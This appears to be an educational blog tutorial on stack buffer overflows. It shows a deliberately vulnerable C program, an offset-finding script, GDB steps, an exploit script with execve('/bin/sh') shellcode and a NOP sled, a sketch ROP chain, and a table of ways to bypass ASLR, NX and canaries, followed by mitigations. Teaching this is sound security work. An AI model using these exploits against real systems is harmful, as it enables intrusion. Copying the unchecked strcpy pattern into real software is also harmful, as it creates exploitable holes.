Introduction to Buffer Overflows
Buffer overflows are one of the most fundamental vulnerabilities in software security. In this post, we’ll explore the basics of stack-based buffer overflows and see how they can be exploited.
What is a Buffer Overflow?
A buffer overflow occurs when a program writes more data to a buffer than it can hold. This can overwrite adjacent memory locations, potentially allowing an attacker to execute arbitrary code.
Vulnerable Code Example
Let’s look at a simple vulnerable C program:
#include <stdio.h>#include <string.h>
void vulnerable_function(char *input) { char buffer[64]; strcpy(buffer, input); // Dangerous! No bounds checking printf("Input: %s\n", buffer);}
int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <input>\n", argv[0]); return 1; }
vulnerable_function(argv[1]); return 0;}
The Problem
The strcpy()
function doesn’t check if the source string fits in the destination buffer. If we provide input longer than 64 characters, we’ll overflow the buffer.
Compilation and Testing
First, let’s compile the program with debugging symbols and disable stack protections:
gcc -g -fno-stack-protector -z execstack -o vulnerable vulnerable.c
Compilation flags explained:
-g
: Include debugging information-fno-stack-protector
: Disable stack canaries-z execstack
: Make stack executable-o vulnerable
: Output filename
Finding the Offset
To exploit this, we need to find exactly how many bytes it takes to overwrite the return address:
#!/usr/bin/env python3
import structimport subprocess
def test_overflow(payload_size): payload = b"A" * payload_size try: result = subprocess.run( ["./vulnerable", payload], capture_output=True, timeout=5 ) return result.returncode except subprocess.TimeoutExpired: return -1
# Binary search to find crash pointfor i in range(60, 80): ret_code = test_overflow(i) print(f"Payload size {i}: Return code {ret_code}") if ret_code != 0: print(f"Crash detected at {i} bytes!") break
Using GDB for Analysis
We can use GDB to analyze the crash:
gdb ./vulnerable(gdb) run $(python3 -c "print('A' * 76)")(gdb) info registers(gdb) x/20x $esp(gdb) bt
Basic Exploitation
Once we know the offset (let’s say it’s 72 bytes), we can craft an exploit:
#!/usr/bin/env python3
import struct
# Our shellcode (execve("/bin/sh"))shellcode = ( b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50" b"\x53\x89\xe1\xb0\x0b\xcd\x80")
# Build the payloadbuffer_size = 72nop_sled = b"\x90" * (buffer_size - len(shellcode))return_address = struct.pack("<I", 0xbffff7a0) # Example address
payload = nop_sled + shellcode + return_address
print(payload)
Memory Layout Visualization
Here’s what the stack looks like before and after overflow:
Normal Stack:+------------------+| Return Address | <- We want to control this+------------------+| Saved EBP |+------------------+| buffer[64] | <- Our input goes here+------------------+| Local variables |+------------------+
After Overflow:+------------------+| 0x41414141 | <- Overwritten return address+------------------+| 0x41414141 | <- Overwritten saved EBP+------------------+| AAAAAAA... | <- Our 'A's overflow the buffer+------------------+
Protection Mechanisms
Modern systems have several protections against buffer overflows:
Protection | Description | Bypass Technique |
---|---|---|
ASLR | Address Space Layout Randomization | Info leaks, brute force |
DEP/NX | Data Execution Prevention | ROP/JOP chains |
Stack Canaries | Detection values on stack | Canary leaks, format strings |
FORTIFY_SOURCE | Enhanced function checks | Use unprotected functions |
Advanced Techniques
Return-Oriented Programming (ROP)
When DEP is enabled, we can use ROP gadgets:
# Example ROP chainrop_chain = [ 0x08048123, # pop eax; ret 0x0000000b, # execve syscall number 0x08048456, # pop ebx; ret 0x08049000, # address of "/bin/sh" # ... more gadgets]
Format String Vulnerabilities
Sometimes buffer overflows combine with format string bugs:
char buffer[64];strcpy(buffer, user_input);printf(buffer); // Format string vulnerability!
Mitigation Strategies
For Developers:
- Use safe string functions (
strncpy
,strlcpy
) - Enable compiler protections (
-fstack-protector-strong
) - Perform input validation
- Use static analysis tools
For System Administrators:
- Enable ASLR:
echo 2 > /proc/sys/kernel/randomize_va_space
- Use hardened compilations
- Keep systems updated
Conclusion
Buffer overflows remain a critical vulnerability class despite decades of research. Understanding how they work is essential for both offensive and defensive security practitioners.
Remember: Only practice these techniques on systems you own or have explicit permission to test!
References
Happy hacking! 🐱💻